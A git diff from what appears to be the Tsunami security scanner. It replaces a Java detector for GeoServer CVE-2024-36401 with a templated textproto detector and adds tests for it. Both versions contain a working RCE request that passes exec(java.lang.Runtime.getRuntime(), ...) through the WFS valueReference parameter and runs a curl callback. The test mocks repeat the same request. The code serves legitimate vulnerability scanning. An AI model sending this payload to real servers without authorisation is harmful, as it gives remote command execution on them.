diff --git a/community/detectors/geoserver_cve_2024_36401/README.md b/community/detectors/geoserver_cve_2024_36401/README.md deleted file mode 100644 index 087db0def..000000000 --- a/community/detectors/geoserver_cve_2024_36401/README.md +++ /dev/null @@ -1,20 +0,0 @@ -# Geoserver CVE-2024-36401 RCE Detector - -This detector checks for Geoserver RCE (CVE-2024-36401). Multiple OGC request -parameters allow Remote Code Execution (RCE) by unauthenticated users through -specially crafted input against a default GeoServer installation due to unsafely -evaluating property names as XPath expressions. - -Ref: - -- https://github.com/advisories/GHSA-6jj6-gm7p-fcvv - -## Build jar file for this plugin - -Using `gradlew`: - -```shell -./gradlew jar -``` - -Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/community/detectors/geoserver_cve_2024_36401/build.gradle b/community/detectors/geoserver_cve_2024_36401/build.gradle deleted file mode 100644 index e1e0eb322..000000000 --- a/community/detectors/geoserver_cve_2024_36401/build.gradle +++ /dev/null @@ -1,38 +0,0 @@ -plugins { - id 'java-library' -} - -description = 'Geoserver RCE (CVE-2024-36401) VulnDetector plugin.' -group = 'com.google.tsunami' -version = '0.0.1-SNAPSHOT' - -repositories { - maven { // The google mirror is less flaky than mavenCentral() - url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' - } - mavenCentral() - mavenLocal() -} - - - -def coreRepoBranch = System.getenv("GITBRANCH_TSUNAMI_CORE") ?: "stable" -def tcsRepoBranch = System.getenv("GITBRANCH_TSUNAMI_TCS") ?: "stable" - -dependencies { - implementation("com.google.tsunami:tsunami-common") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-plugin") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-proto") { - version { branch = "${coreRepoBranch}" } - } - - testImplementation "junit:junit:4.13.2" - testImplementation "com.google.truth:truth:1.4.4" - testImplementation "com.squareup.okhttp3:mockwebserver:3.12.0" - testImplementation "com.google.truth.extensions:truth-proto-extension:1.4.4" - testImplementation "com.google.inject.extensions:guice-testlib:6.0.0" -} diff --git a/community/detectors/geoserver_cve_2024_36401/settings.gradle b/community/detectors/geoserver_cve_2024_36401/settings.gradle deleted file mode 100644 index b7feec9fc..000000000 --- a/community/detectors/geoserver_cve_2024_36401/settings.gradle +++ /dev/null @@ -1,12 +0,0 @@ -rootProject.name = 'geoserver-cve-2024-36401' - -def coreRepository = System.getenv("GITREPO_TSUNAMI_CORE") ?: "https://github.com/google/tsunami-security-scanner.git" -def tcsRepository = System.getenv("GITREPO_TSUNAMI_TCS") ?: "https://github.com/google/tsunami-security-scanner-callback-server.git" - -sourceControl { - gitRepository("${coreRepository}") { - producesModule("com.google.tsunami:tsunami-common") - producesModule("com.google.tsunami:tsunami-plugin") - producesModule("com.google.tsunami:tsunami-proto") - } -} diff --git a/community/detectors/geoserver_cve_2024_36401/src/main/java/com/google/tsunami/plugins/detectors/rce/Annotations.java b/community/detectors/geoserver_cve_2024_36401/src/main/java/com/google/tsunami/plugins/detectors/rce/Annotations.java deleted file mode 100644 index 7e3cfdfde..000000000 --- a/community/detectors/geoserver_cve_2024_36401/src/main/java/com/google/tsunami/plugins/detectors/rce/Annotations.java +++ /dev/null @@ -1,35 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce; - -import static java.lang.annotation.ElementType.FIELD; -import static java.lang.annotation.ElementType.METHOD; -import static java.lang.annotation.ElementType.PARAMETER; - -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -import javax.inject.Qualifier; - -/** Annotation for {@link GeoserverCve202436401VulnDetector}. */ -final class Annotations { - @Qualifier - @Retention(RetentionPolicy.RUNTIME) - @Target({PARAMETER, METHOD, FIELD}) - @interface OobSleepDuration {} - - private Annotations() {} -} diff --git a/community/detectors/geoserver_cve_2024_36401/src/main/java/com/google/tsunami/plugins/detectors/rce/GeoserverCve202436401VulnDetector.java b/community/detectors/geoserver_cve_2024_36401/src/main/java/com/google/tsunami/plugins/detectors/rce/GeoserverCve202436401VulnDetector.java deleted file mode 100644 index 8622cabb5..000000000 --- a/community/detectors/geoserver_cve_2024_36401/src/main/java/com/google/tsunami/plugins/detectors/rce/GeoserverCve202436401VulnDetector.java +++ /dev/null @@ -1,205 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.tsunami.plugins.detectors.rce; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.tsunami.common.data.NetworkServiceUtils.buildWebApplicationRootUrl; -import static com.google.tsunami.common.net.http.HttpRequest.get; - -import com.google.common.annotations.VisibleForTesting; -import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; -import com.google.common.util.concurrent.Uninterruptibles; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.data.NetworkServiceUtils; -import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpResponse; -import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.common.time.UtcClock; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; -import com.google.tsunami.plugin.annotations.ForWebService; -import com.google.tsunami.plugin.annotations.PluginInfo; -import com.google.tsunami.plugin.payload.NotImplementedException; -import com.google.tsunami.plugin.payload.Payload; -import com.google.tsunami.plugin.payload.PayloadGenerator; -import com.google.tsunami.plugins.detectors.rce.Annotations.OobSleepDuration; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.PayloadGeneratorConfig; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.net.URLEncoder; -import java.nio.charset.StandardCharsets; -import java.time.Clock; -import java.time.Duration; -import java.time.Instant; -import javax.inject.Inject; -import org.checkerframework.checker.nullness.qual.Nullable; - -/** A {@link VulnDetector} that detects the geoserver Cve-2024-36401 RCE vulnerability. */ -@ForWebService -@PluginInfo( - type = PluginType.VULN_DETECTION, - name = "GeoserverCve202436401VulnDetector", - version = "0.1", - description = "This detector checks for Geoserver RCE (CVE-2024-36401)", - author = "grandsilva", - bootstrapModule = GeoserverCve202436401VulnDetectorBootstrapModule.class) -public class GeoserverCve202436401VulnDetector implements VulnDetector { - - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - - @VisibleForTesting - static final String RCE_PAYLOAD = - "%sgeoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames" - + "=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'%s')"; - - private final PayloadGenerator payloadGenerator; - private final HttpClient httpClient; - private final Clock utcClock; - private final int oobSleepDuration; - - @Inject - GeoserverCve202436401VulnDetector( - HttpClient httpClient, - @UtcClock Clock utcClock, - PayloadGenerator payloadGenerator, - @OobSleepDuration int oobSleepDuration) { - this.httpClient = checkNotNull(httpClient); - this.utcClock = checkNotNull(utcClock); - this.payloadGenerator = checkNotNull(payloadGenerator); - this.oobSleepDuration = oobSleepDuration; - } - - @Override - public ImmutableList getAdvisories() { - return ImmutableList.of( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("GeoserverCve202436401")) - .setSeverity(Severity.CRITICAL) - .setTitle("Geoserver RCE (CVE-2024-36401)") - .setDescription( - "This detector checks for Geoserver RCE (CVE-2024-36401). " - + "Multiple OGC request parameters allow Remote Code Execution (RCE) " - + "by unauthenticated users through specially crafted input against " - + "a default GeoServer installation due to unsafely evaluating property " - + "names as XPath expressions.") - .setRecommendation( - "Upgrade Geoserver to a patched version. The vulnerability was fixed in" - + " versions 2.23.6, 2.24.4, and 2.25.2.") - .addRelatedId( - VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-36401")) - .build()); - } - @Override - public DetectionReportList detect( - TargetInfo targetInfo, ImmutableList matchedServices) { - logger.atInfo().log("GeoserverCve202436401VulnDetector starts detecting."); - - return DetectionReportList.newBuilder() - .addAllDetectionReports( - matchedServices.stream() - .filter(NetworkServiceUtils::isWebService) - .filter(this::isGeoserverInstance) - .filter(this::isServiceVulnerable) - .map(networkService -> buildDetectionReport(targetInfo, networkService)) - .collect(toImmutableList())) - .build(); - } - - private boolean isGeoserverInstance(NetworkService networkService) { - - final String rootUri = buildWebApplicationRootUrl(networkService); - try { - HttpResponse response = - httpClient.send( - get(rootUri + "geoserver/index.html").withEmptyHeaders().build(), networkService); - return response.status().equals(HttpStatus.OK); - } catch (RuntimeException | IOException e) { - logger.atWarning().withCause(e).log("Failed to send HTTP request to '%s'", rootUri); - return false; - } - } - - private boolean isServiceVulnerable(NetworkService networkService) { - var payload = getTsunamiCallbackHttpPayload(); - if (payload == null || !payload.getPayloadAttributes().getUsesCallbackServer()) { - logger.atWarning().log( - "The Tsunami callback server is not setup for this environment, so we cannot confirm the" - + " RCE callback"); - return false; - } - String cmd = payload.getPayload(); - - final String rootUri = buildWebApplicationRootUrl(networkService); - - try { - httpClient.send( - get(String.format(RCE_PAYLOAD, rootUri, URLEncoder.encode(cmd, StandardCharsets.UTF_8))) - .withEmptyHeaders() - .build(), - networkService); - } catch (RuntimeException | IOException e) { - logger.atWarning().withCause(e).log("Failed to send HTTP request to '%s'", rootUri); - return false; - } - // If there is an RCE, the execution isn't immediate - logger.atInfo().log("Waiting for RCE callback."); - Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(oobSleepDuration)); - if (payload.checkIfExecuted()) { - logger.atInfo().log("RCE payload executed!"); - return true; - } - return false; - } - - private @Nullable Payload getTsunamiCallbackHttpPayload() { - try { - return this.payloadGenerator.generate( - PayloadGeneratorConfig.newBuilder() - .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.BLIND_RCE) - .setInterpretationEnvironment( - PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL) - .setExecutionEnvironment( - PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT) - .build()); - } catch (NotImplementedException n) { - return null; - } - } - - private DetectionReport buildDetectionReport( - TargetInfo targetInfo, NetworkService vulnerableNetworkService) { - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(vulnerableNetworkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(this.getAdvisories().get(0)) - .build(); - } -} diff --git a/community/detectors/geoserver_cve_2024_36401/src/main/java/com/google/tsunami/plugins/detectors/rce/GeoserverCve202436401VulnDetectorBootstrapModule.java b/community/detectors/geoserver_cve_2024_36401/src/main/java/com/google/tsunami/plugins/detectors/rce/GeoserverCve202436401VulnDetectorBootstrapModule.java deleted file mode 100644 index b7b2bf7e2..000000000 --- a/community/detectors/geoserver_cve_2024_36401/src/main/java/com/google/tsunami/plugins/detectors/rce/GeoserverCve202436401VulnDetectorBootstrapModule.java +++ /dev/null @@ -1,41 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce; - -import com.google.inject.Provides; -import com.google.tsunami.plugin.PluginBootstrapModule; -import com.google.tsunami.plugins.detectors.rce.Annotations.OobSleepDuration; - -/** - * A Geoserver Cve-2024-36401 Rce Detector Guice module that bootstraps the {@link - * GeoserverCve202436401VulnDetector}. - */ -public final class GeoserverCve202436401VulnDetectorBootstrapModule extends PluginBootstrapModule { - - @Override - protected void configurePlugin() { - registerPlugin(GeoserverCve202436401VulnDetector.class); - } - - @Provides - @OobSleepDuration - int provideOobSleepDuration(GeoserverRceDetectorConfigs configs) { - if (configs.oobSleepDuration == 0) { - return 10; - } - return configs.oobSleepDuration; - } -} diff --git a/community/detectors/geoserver_cve_2024_36401/src/main/java/com/google/tsunami/plugins/detectors/rce/GeoserverRceDetectorConfigs.java b/community/detectors/geoserver_cve_2024_36401/src/main/java/com/google/tsunami/plugins/detectors/rce/GeoserverRceDetectorConfigs.java deleted file mode 100644 index 2a1b73e00..000000000 --- a/community/detectors/geoserver_cve_2024_36401/src/main/java/com/google/tsunami/plugins/detectors/rce/GeoserverRceDetectorConfigs.java +++ /dev/null @@ -1,23 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce; - -import com.google.tsunami.common.config.annotations.ConfigProperties; - -@ConfigProperties("plugins.community.detectors.geoserver_cve_2024_36401") -final class GeoserverRceDetectorConfigs { - int oobSleepDuration; -} diff --git a/community/detectors/geoserver_cve_2024_36401/src/test/java/com/google/tsunami/plugins/detectors/rce/GeoserverCve202436401VulnDetectorTest.java b/community/detectors/geoserver_cve_2024_36401/src/test/java/com/google/tsunami/plugins/detectors/rce/GeoserverCve202436401VulnDetectorTest.java deleted file mode 100644 index 419ef91c6..000000000 --- a/community/detectors/geoserver_cve_2024_36401/src/test/java/com/google/tsunami/plugins/detectors/rce/GeoserverCve202436401VulnDetectorTest.java +++ /dev/null @@ -1,168 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.tsunami.plugins.detectors.rce; - -import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; - -import com.google.common.collect.ImmutableList; -import com.google.common.truth.Truth; -import com.google.inject.Guice; -import com.google.inject.testing.fieldbinder.Bind; -import com.google.inject.testing.fieldbinder.BoundFieldModule; -import com.google.inject.util.Modules; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.net.http.HttpClientModule; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; -import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; -import com.google.tsunami.plugins.detectors.rce.Annotations.OobSleepDuration; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.TargetInfo; -import java.io.IOException; -import java.security.SecureRandom; -import java.time.Instant; -import java.util.Arrays; -import javax.inject.Inject; -import okhttp3.mockwebserver.Dispatcher; -import okhttp3.mockwebserver.MockResponse; -import okhttp3.mockwebserver.MockWebServer; -import okhttp3.mockwebserver.RecordedRequest; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Unit tests for {@link GeoserverCve202436401VulnDetector}. */ -@RunWith(JUnit4.class) -public final class GeoserverCve202436401VulnDetectorTest { - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2024-12-03T00:00:00.00Z")); - - private final MockWebServer mockTargetService = new MockWebServer(); - private final MockWebServer mockCallbackServer = new MockWebServer(); - - @Inject private GeoserverCve202436401VulnDetector detector; - - TargetInfo targetInfo; - NetworkService targetNetworkService; - private final SecureRandom testSecureRandom = - new SecureRandom() { - @Override - public void nextBytes(byte[] bytes) { - Arrays.fill(bytes, (byte) 0xFF); - } - }; - - @Bind(lazy = true) - @OobSleepDuration - private int sleepDuration = 1; - - @Before - public void setUp() throws IOException { - mockCallbackServer.start(); - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build(), - FakePayloadGeneratorModule.builder() - .setCallbackServer(mockCallbackServer) - .setSecureRng(testSecureRandom) - .build(), - Modules.override(new GeoserverCve202436401VulnDetectorBootstrapModule()) - .with(BoundFieldModule.of(this))) - .injectMembers(this); - } - - @After - public void tearDown() throws Exception { - mockTargetService.shutdown(); - mockCallbackServer.shutdown(); - } - - @Test - public void detect_whenVulnerable_returnsVulnerability() throws IOException { - startMockWebServer(); - mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); - - DetectionReportList detectionReports = - detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); - - assertThat(detectionReports.getDetectionReportsList()) - .containsExactly( - DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(targetNetworkService) - .setDetectionTimestamp( - Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(detector.getAdvisories().get(0)) - .build()); - Truth.assertThat(mockTargetService.getRequestCount()).isEqualTo(2); - Truth.assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); - } - - @Test - public void detect_ifNotVulnerable_doesNotReportVuln() throws IOException { - startMockWebServer(); - mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse()); - DetectionReportList detectionReports = - detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - Truth.assertThat(mockTargetService.getRequestCount()).isEqualTo(2); - } - - private void startMockWebServer() throws IOException { - final Dispatcher dispatcher = - new Dispatcher() { - @Override - public MockResponse dispatch(RecordedRequest request) { - if (request - .getPath() - .contains( - "/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=" - + "sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),") - && request.getMethod().equals("GET")) { - return new MockResponse().setResponseCode(200); - } - if (request.getPath().equals("/geoserver/index.html") - && request.getMethod().equals("GET")) { - return new MockResponse().setResponseCode(200); - } - return new MockResponse().setResponseCode(400); - } - }; - mockTargetService.setDispatcher(dispatcher); - mockTargetService.start(); - mockTargetService.url("/"); - - targetNetworkService = - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockTargetService.getHostName(), mockTargetService.getPort())) - .addSupportedHttpMethods("GET") - .build(); - targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) - .build(); - } -} diff --git a/templated/templateddetector/plugins/cve/2024/Geoserver_CVE_2024_36401.textproto b/templated/templateddetector/plugins/cve/2024/Geoserver_CVE_2024_36401.textproto new file mode 100644 index 000000000..d2d78fcf7 --- /dev/null +++ b/templated/templateddetector/plugins/cve/2024/Geoserver_CVE_2024_36401.textproto @@ -0,0 +1,96 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "Geoserver_CVE_2024_36401" + author: + "Robert Dick (robert@doyensec.com) for the Templated version, " + "grandsilva for the original Java version" + version: "2.0" +} + +finding: { + main_id: { + publisher: "TSUNAMI_COMMUNITY" + value: "CVE-2024-36401" + } + title: "Geoserver RCE (CVE-2024-36401)" + description: + "This detector checks for Geoserver RCE (CVE-2024-36401). " + "Multiple OGC request parameters allow Remote Code Execution (RCE) " + "by unauthenticated users through specially crafted input against " + "a default GeoServer installation due to unsafely evaluating property " + "names as XPath expressions." + recommendation: + "Upgrade Geoserver to a patched version. The vulnerability was fixed in" + " versions 2.23.6, 2.24.4, and 2.25.2." + severity: CRITICAL + related_id: { + publisher: "CVE" + value: "CVE-2024-36401" + } +} + +########### +# ACTIONS # +########### + +# fingerprint step +# not ideal to only check 200 status code, +# but not sure what variants of vulnerable versions there might be +# and this is what the original plugin does + +actions: { + name: "fingerprint_geoserver" + http_request: { + method: GET + uri: "/geoserver/index.html" + response: { + http_status: 200 + } + } +} + +# execute payload +# I would move this into a payload workflow variable, +# but the tests can't use workflow variables yet. + +actions: { + name: "execute_payload" + http_request: { + method: GET + uri: + "/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames" + "=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime()," + "'curl {{ T_CBS_URI }}'" + ")" + } +} + +actions: { + name: "sleep" + utility: { sleep: { duration_ms: 1000 } } +} +actions: { + name: "check_callback_server_logs" + callback_server: { action_type: CHECK } +} + +############# +# WORKFLOWS # +############# + +workflows: { + condition: REQUIRES_CALLBACK_SERVER + actions: [ + "fingerprint_geoserver", + "execute_payload", + "sleep", + "check_callback_server_logs" + ] +} \ No newline at end of file diff --git a/templated/templateddetector/plugins/cve/2024/Geoserver_CVE_2024_36401_test.textproto b/templated/templateddetector/plugins/cve/2024/Geoserver_CVE_2024_36401_test.textproto new file mode 100644 index 000000000..cb3b85a70 --- /dev/null +++ b/templated/templateddetector/plugins/cve/2024/Geoserver_CVE_2024_36401_test.textproto @@ -0,0 +1,90 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "Geoserver_CVE_2024_36401" +} + +tests: { + name: "whenCallback_returnsVuln" + expect_vulnerability: true + + mock_callback_server: { + enabled: true + has_interaction: true + } + + mock_http_server: { + mock_responses: [ + { + uri: "/geoserver/index.html" + status: 200 + body_content: '... Geoserver ...' + }, + { + uri: + "/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames" + "=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime()," + "'curl {{ T_CBS_URI }}'" + ")" + status: 200 + body_content: '... Geoserver ...' + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: '{"status":200}' + } + ] + } +} + +tests: { + name: "whenNoCallback_returnsNotVuln" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/geoserver/index.html" + status: 200 + body_content: '... Geoserver ...' + }, + { + uri: + "/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames" + "=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime()," + "'curl {{ T_CBS_URI }}'" + ")" + status: 200 + body_content: '... Geoserver ...' + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: '{"status":200}' + } + ] + } +} + + +tests: { + name: "whenRandomServer_returnsNotVuln" + expect_vulnerability: false + + mock_http_server: { + mock_responses: [ + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "... Hello world ..." + } + ] + } +}